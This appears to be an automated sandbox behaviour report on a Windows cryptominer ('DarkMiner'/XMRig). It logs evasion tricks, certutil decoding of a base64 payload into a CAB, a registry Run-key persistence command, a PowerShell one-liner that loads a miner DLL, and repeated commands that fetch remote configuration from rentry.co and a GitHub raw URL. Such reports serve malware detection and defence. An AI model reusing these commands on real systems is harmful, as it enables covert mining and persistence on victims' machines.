Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

System information queried: FirmwareTableInformation

Jump to behavior

Uses ping.exe to sleep

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping localhost -n 60
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping localhost -n 60
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping localhost -n 60
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping localhost -n 60
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping localhost -n 60
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping localhost -n 60
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping localhost -n 60
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping localhost -n 60

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4825	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5004	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2561
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1124
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1857
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 661
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 856
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 955

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\zmhmaghu.dll	Jump to dropped file
Source: C:\Windows\System32\expand.exe	Dropped PE file which has not been started: C:\miner\fetchX64.dll (copy)	Jump to dropped file
Source: C:\Windows\System32\expand.exe	Dropped PE file which has not been started: C:\miner\fetchX32.dll (copy)	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\weizmren.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\ee3yyyau.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\ck4l4tfe.dll	Jump to dropped file
Source: C:\Windows\System32\expand.exe	Dropped PE file which has not been started: C:\miner\f47fbf81ac4c43b887677c52e6851238$dpx$.tmp\ef6e2f792af92b4b9f5dc85422487e31.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\ahbspsjl.dll	Jump to dropped file
Source: C:\Windows\System32\expand.exe	Dropped PE file which has not been started: C:\miner\f47fbf81ac4c43b887677c52e6851238$dpx$.tmp\32aef5a1e2625241be82835248f96587.tmp	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7888	Thread sleep count: 4825 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7888	Thread sleep count: 5004 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7944	Thread sleep time: -17524406870024063s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7176	Thread sleep count: 2561 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7224	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7176	Thread sleep count: 1124 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6192	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7756	Thread sleep count: 1857 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7756	Thread sleep count: 661 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7696	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7692	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\PING.EXE TID: 7512	Thread sleep count: 58 > 30	Jump to behavior
Source: C:\Windows\System32\PING.EXE TID: 7512	Thread sleep time: -58000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\PING.EXE TID: 8068	Thread sleep count: 58 > 30
Source: C:\Windows\System32\PING.EXE TID: 8068	Thread sleep time: -58000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7684	Thread sleep count: 856 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1236	Thread sleep time: -8301034833169293s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7704	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7216	Thread sleep count: 955 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1220	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7256	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed

Source: C:\Windows\System32\expand.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\System32\expand.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: powershell.exe, 0000000A.00000002.3177023053.00000248EDCC4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:/msys64/qemu/opt/misc-i686/ssl
Source: powershell.exe, 0000000A.00000002.3177023053.00000248EDCC4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:/msys64/qemu/opt/misc-i686/ssl/certs
Source: wscript.exe, 00000000.00000003.1645941164.000001BC5352C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @Fb5xUkZIqFBuxIK0bUqp+y4thd9KqemuzNJf4c4gRdh2kVro8dOnCjjuMSxE3un8MMBvgetgEA
Source: wscript.exe, 00000000.00000003.1750717172.000001BC53B12000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Fb5xUkZIqFBuxIK0bUqp+y4thd9KqemuzNJf4c4gRdh2kVro8dOnCjjuMSxE3un8Bg7
Source: powershell.exe, 0000000A.00000002.3177023053.00000248EDCC4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ySzlib compression(undef)crypto/comp/comp_lib.cCOMP_CTX_newcrypto/conf/conf_mod.cconfig_diagnosticsopenssl_confopenssl_conf=%spathOPENSSL_initOPENSSL_finishmodule=%s, path=%smodule=%smodule=%s, value=%s retcode=%-8dOPENSSL_CONFopenssl.cnf/%s%s%sCONF_parse_listmodule_initmodule_addmodule_load_dsodo_init_module_list_lockmodule_runCONF_modules_loadcrypto/conf/conf_ssl.csection=%sname=%s, value=%sssl_confssl_module_initcrypto/ct/ct_log.cdescriptionkeyenabled_logsC:/msys64/qemu/opt/misc-i686/ssl/ct_log_list.cnfCTLOG_FILESHA2-256ct_v1_log_id_from_pkeyCTLOG_new_exctlog_store_load_ctx_newctlog_new_from_confctlog_store_load_logCTLOG_STORE_load_fileCTLOG_STORE_new_excrypto/ct/ct_oct.ci2o_SCT_LISTo2i_SCT_LISTi2o_SCTi2o_SCT_signatureo2i_SCTo2i_SCT_signaturecrypto/ct/ct_policy.cCT_POLICY_EVAL_CTX_new_excrypto/ct/ct_sct.cSCT_set1_signatureSCT_set1_extensionsSCT_set_signature_nidSCT_set1_log_idSCT_set0_log_idSCT_set_log_entry_typeSCT_set_versionSCT_newcrypto/ct/ct_sct_ctx.cSHA2-256SCT_CTX_newcrypto/ct/ct_vfy.cSHA2-256SCT_CTX_verifydes(long)
Source: wscript.exe, 00000000.00000003.1658350136.000001BC53807000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1657795137.000001BC53807000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1671329465.000001BC53807000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1655999266.000001BC5386D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1655883333.000001BC53807000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1654905370.000001BC5386C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1651489368.000001BC5386A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1654280944.000001BC53807000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1655118024.000001BC53807000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1656256293.000001BC53807000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1652898244.000001BC53807000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Fb5xUkZIqFBuxIK0bUqp+y4thd9KqemuzNJf4c4gRdh2kVro8dOnCjjuMSxE3un8
Source: powershell.exe, 0000000A.00000002.3177023053.00000248EDCC4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:/msys64/qemu/opt/misc-i686/ssl/cert.pem
Source: powershell.exe, 0000000A.00000002.3177023053.00000248EDCC4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: G_-0x0x%d.%d.%d.%d%nTRUEFALSEtrueYESyesfalse, value=name=%d.%d.%d.%d%X:<invalid length=%d>%XX509V3_parse_listX509V3_get_value_bools2i_ASN1_INTEGERi2s_ASN1_INTEGERbignum_to_stringi2s_ASN1_ENUMERATEDx509v3_add_len_valuecrypto/x509/x509_att.cname=%sX509_ATTRIBUTE_get0_dataX509_ATTRIBUTE_set1_dataX509_ATTRIBUTE_create_by_txtX509_ATTRIBUTE_create_by_OBJX509_ATTRIBUTE_create_by_NIDX509at_add1_attrECMD5crypto/x509/x509_cmp.cSHA1-fipsX509_check_private_keyX509_add_certsX509_add_certossl_x509_add_cert_newC:/msys64/qemu/opt/misc-i686/ssl/privateC:/msys64/qemu/opt/misc-i686/binC:/msys64/qemu/opt/misc-i686/sslC:/msys64/qemu/opt/misc-i686/ssl/certsC:/msys64/qemu/opt/misc-i686/ssl/cert.pemSSL_CERT_DIRSSL_CERT_FILEcrypto/x509/x509_lu.cX509_STORE_get1_all_certsX509_OBJECT_newX509_STORE_add_crlX509_STORE_add_certX509_STORE_add_lookupX509_STORE_newX509_LOOKUP_newcrypto/x509/x509_obj.cNO X509_NAME0123456789ABCDEFX509_NAME_oneline
Source: powershell.exe, 0000000A.00000002.3177023053.00000248EDCC4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ]VH^V<null>%s, Name (%s : %d), Properties (%s)OSSL_DECODER_CTX_set_paramsOSSL_DECODER_CTX_newossl_decoder_get_numberossl_decoder_parsed_propertiesOSSL_DECODER_get0_propertiesOSSL_DECODER_get0_providerinner_ossl_decoder_fetchossl_decoder_newossl_decoder_from_algorithmdata-typecrypto/encode_decode/decoder_pkey.creferenceid-ecPublicKey1.2.840.10045.2.1SM2OSSL_DECODER_CTX_new_for_pkeyossl_decoder_ctx_setup_for_pkeycrypto/engine/eng_init.cENGINE_finishENGINE_initengine_unlocked_finishcrypto/engine/eng_lib.cENGINE_set_nameENGINE_set_idint_cleanup_itemENGINE_newcrypto/engine/eng_list.cdynamicOPENSSL_ENGINESC:/msys64/qemu/opt/misc-i686/lib/engines-3C:/msys64/qemu/opt/misc-i686/binID2DIR_LOADDIR_ADD1LIST_ADDLOADid=%sENGINE_up_refENGINE_by_idengine_list_removeENGINE_removeengine_list_addENGINE_addENGINE_get_prevENGINE_get_nextENGINE_get_lastENGINE_get_firstcrypto/engine/eng_pkey.cENGINE_load_ssl_client_certENGINE_load_public_keyENGINE_load_private_keycrypto/engine/tb_asnmth.cENGINE_pkey_asn1_find_strENGINE_get_pkey_asn1_methcrypto/engine/tb_cipher.cENGINE_get_ciphercrypto/engine/tb_dh.c
Source: powershell.exe, 0000000A.00000002.3177023053.00000248EDCC4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [.crypto/provider_conf.csection=%s not foundidentitysoft_loadmoduleactivateprovidersprovider_conf_activateprovider_conf_loadprovider_conf_initcrypto/provider_core.copenssl-version3.1.0provider-namemodule-filenameOPENSSL_MODULESC:/msys64/qemu/opt/misc-i686/lib/ossl-modulesC:/msys64/qemu/opt/misc-i686/binname=%sOSSL_provider_initname=%s, provider has no provider init function
Source: powershell.exe, 0000000A.00000002.3177023053.00000248EDCC4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:/msys64/qemu/opt/misc-i686/bin
Source: powershell.exe, 0000000A.00000002.3177023053.00000248EDCC4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:/msys64/qemu/opt/misc-i686/ssl/ct_log_list.cnf
Source: powershell.exe, 0000000A.00000002.3266239970.00000248EEEAB000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2959232520.00000001808A4000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: ; gcc -IC:/msys64/qemu/opt/misc-i686/include -IC:/msys64/qemu/opt/misc-i686/include -IC:/msys64/qemu/opt/misc-i686/include -DCARES_STATICLIB -IC:/msys64/qemu/opt/misc-i686/include -DPCRE2_STATIC -IC:/msys64/qemu/opt/misc-i686/include -IC:/msys64/qemu/opt/misc-i686/include -DHAVE_LIBSSL -I -IC:/msys64/qemu/opt/misc-i686/include -DNDEBUG -ggdb -mtune=broadwell -mtune=znver2 -O2 -pipe -L/opt/misc-i686/lib -LC:/msys64/qemu/opt/misc-i686/lib -lmetalink -LC:/msys64/qemu/opt/misc-i686/lib -lcares -LC:/msys64/qemu/opt/misc-i686/lib -lpcre2-8 -LC:/msys64/qemu/opt/misc-i686/lib -lidn2 -LC:/msys64/qemu/opt/misc-i686/lib -lssl -lcrypto -L -lz -LC:/msys64/qemu/opt/misc-i686/lib -lpsl -lws2_32 -lole32 -lcrypt32 -lexpat -LC:/msys64/qemu/opt/misc-i686/lib -lgpgme ../lib/libgnu.a -lws2_32 -lws2_32 -lws2_32 -lws2_32 /opt/misc-i686/lib/libiconv.a /opt/misc-i686/lib/libunistring.a /opt/misc-i686/lib/libiconv.a -lws2_32gcc -DHAVE_CONFIG_H -DSYSTEM_WGETRC="/opt/misc-i686/etc/wgetrc" -DLOCALEDIR="/opt/misc-i686/share/locale" -I. -I../../src -I../lib -I../../lib -I/opt/misc-i686/include -IC:/msys64/qemu/opt/misc-i686/include -IC:/msys64/qemu/opt/misc-i686/include -IC:/msys64/qemu/opt/misc-i686/include -DCARES_STATICLIB -IC:/msys64/qemu/opt/misc-i686/include -DPCRE2_STATIC -IC:/msys64/qemu/opt/misc-i686/include -IC:/msys64/qemu/opt/misc-i686/include -DHAVE_LIBSSL -I -IC:/msys64/qemu/opt/misc-i686/include -DNDEBUG -ggdb -mtune=broadwell -mtune=znver2 -O2 -pipe1.21.4
Source: wscript.exe, 00000000.00000003.1750795753.000001BC516C1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1644715006.000001BC53562000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1750717172.000001BC53B12000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1750883355.000001BC53711000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1751011383.000001BC53611000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1650231639.000001BC516B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: encode_zip = encode_zip & "Fb5xUkZIqFBuxIK0bUqp+y4thd9KqemuzNJf4c4gRdh2kVro8dOnCjjuMSxE3un8" & vbNewline
Source: powershell.exe, 0000000A.00000002.3266239970.00000248EEEAB000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2959232520.00000001808A4000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: C:/msys64/qemu/opt/misc-i686/etc/wgetrc %s (system)
Source: powershell.exe, 0000000A.00000002.3266239970.00000248EEEAB000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2959232520.00000001808A4000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: C:/msys64/qemu/opt/misc-i686/etc/wgetrcParsing system wgetrc file failed. Please check
Source: wscript.exe, 00000000.00000003.1645030655.000001BC53955000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @OMZxPM71l+Fqfp3gchNc34/Jovc3n/6aX8qfeJn6vYL4ZZx/nvchgfsL3/aA8RvX@
Source: powershell.exe, 0000000A.00000002.3177023053.00000248EDCC4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:/msys64/qemu/opt/misc-i686/lib/ossl-modules
Source: powershell.exe, 0000000A.00000002.3266239970.00000248EEEAB000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2959232520.00000001808A4000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: C:/msys64/qemu/opt/misc-i686/etc/wgetrc
Source: wscript.exe, 00000000.00000003.1750717172.000001BC53B12000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1678786758.000001BC53911000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1678841878.000001BC53CA5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1750581386.000001BC53C41000.00000004.00000020.00020000.00000000.sdmp, certutil.exe, 00000001.00000002.1681485294.00000263C1D89000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OMZxPM71l+Fqfp3gchNc34/Jovc3n/6aX8qfeJn6vYL4ZZx/nvchgfsL3/aA8RvX
Source: powershell.exe, 0000000A.00000002.3266239970.00000248EEEAB000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2959232520.00000001808A4000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: gcc -DHAVE_CONFIG_H -DSYSTEM_WGETRC="/opt/misc-i686/etc/wgetrc" -DLOCALEDIR="/opt/misc-i686/share/locale" -I. -I../../src -I../lib -I../../lib -I/opt/misc-i686/include -IC:/msys64/qemu/opt/misc-i686/include -IC:/msys64/qemu/opt/misc-i686/include -IC:/msys64/qemu/opt/misc-i686/include -DCARES_STATICLIB -IC:/msys64/qemu/opt/misc-i686/include -DPCRE2_STATIC -IC:/msys64/qemu/opt/misc-i686/include -IC:/msys64/qemu/opt/misc-i686/include -DHAVE_LIBSSL -I -IC:/msys64/qemu/opt/misc-i686/include -DNDEBUG -ggdb -mtune=broadwell -mtune=znver2 -O2 -pipe
Source: powershell.exe, 0000000A.00000002.3177023053.00000248EDCC4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:/msys64/qemu/opt/misc-i686/ssl/private
Source: wscript.exe, 00000000.00000003.1750795753.000001BC516C1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1644715006.000001BC53562000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1750717172.000001BC53B12000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1750883355.000001BC53711000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1751011383.000001BC53611000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1650231639.000001BC516B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: encode_zip = encode_zip & "OMZxPM71l+Fqfp3gchNc34/Jovc3n/6aX8qfeJn6vYL4ZZx/nvchgfsL3/aA8RvX" & vbNewline
Source: powershell.exe, 0000000A.00000002.3177023053.00000248EDCC4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:/msys64/qemu/opt/misc-i686/lib/engines-3
Source: powershell.exe, 0000000A.00000002.3266239970.00000248EEEAB000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2959232520.00000001808A4000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: gcc -IC:/msys64/qemu/opt/misc-i686/include -IC:/msys64/qemu/opt/misc-i686/include -IC:/msys64/qemu/opt/misc-i686/include -DCARES_STATICLIB -IC:/msys64/qemu/opt/misc-i686/include -DPCRE2_STATIC -IC:/msys64/qemu/opt/misc-i686/include -IC:/msys64/qemu/opt/misc-i686/include -DHAVE_LIBSSL -I -IC:/msys64/qemu/opt/misc-i686/include -DNDEBUG -ggdb -mtune=broadwell -mtune=znver2 -O2 -pipe -L/opt/misc-i686/lib -LC:/msys64/qemu/opt/misc-i686/lib -lmetalink -LC:/msys64/qemu/opt/misc-i686/lib -lcares -LC:/msys64/qemu/opt/misc-i686/lib -lpcre2-8 -LC:/msys64/qemu/opt/misc-i686/lib -lidn2 -LC:/msys64/qemu/opt/misc-i686/lib -lssl -lcrypto -L -lz -LC:/msys64/qemu/opt/misc-i686/lib -lpsl -lws2_32 -lole32 -lcrypt32 -lexpat -LC:/msys64/qemu/opt/misc-i686/lib -lgpgme ../lib/libgnu.a -lws2_32 -lws2_32 -lws2_32 -lws2_32 /opt/misc-i686/lib/libiconv.a /opt/misc-i686/lib/libunistring.a /opt/misc-i686/lib/libiconv.a -lws2_32

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\certutil.exe "C:\Windows\System32\certutil.exe" -decode C:\Users\user\AppData\Local\Temp\Encode.txt C:\miner\DarkMiner.cab	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\expand.exe "C:\Windows\System32\expand.exe" C:\miner\DarkMiner.cab -F:* C:\miner\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cscript.exe "C:\Windows\System32\cscript.exe" C:\miner\mine_start.vbs	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c c:\miner\XClient.bat	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add hkcu\software\microsoft\windows\currentversion\run /v XmrigMiner /t reg_sz /d "C:\miner\mine_start.vbs" /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -c $WorkPath = \"$env:SystemDrive\miner\";$architecture = $env:PROCESSOR_ARCHITECTURE;if ($architecture -eq 'AMD64') {$WorkPath = \"$env:SystemDrive\miner\fetchX64.dll\"} elseif ($architecture -eq 'x86') {$WorkPath = \"$env:SystemDrive\miner\fetchX32.dll\"};$Newpath = $WorkPath.Replace('\', '\\');$signature = '[DllImport("""' + $Newpath + '""", EntryPoint=\"RunX\")] public static extern int RunX();';$LoadDLL = Add-Type -MemberDefinition $signature -Name 'LoadDLL' -Namespace 'LoadDLL' -PassThru;$LoadDLL::RunX()	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ee3yyyau.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLL814C.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw H	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\miner\mine_start.vbs"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLLD6FB.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLL663C.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLLF657.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw H	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLL82AA.tmp -O- -q 1 https://raw.githubusercontent.com/DevilBot000/Client_IP_PORT/main/IP_PORT	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLL120A.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLLAA54.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLL39F2.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw	Jump to behavior
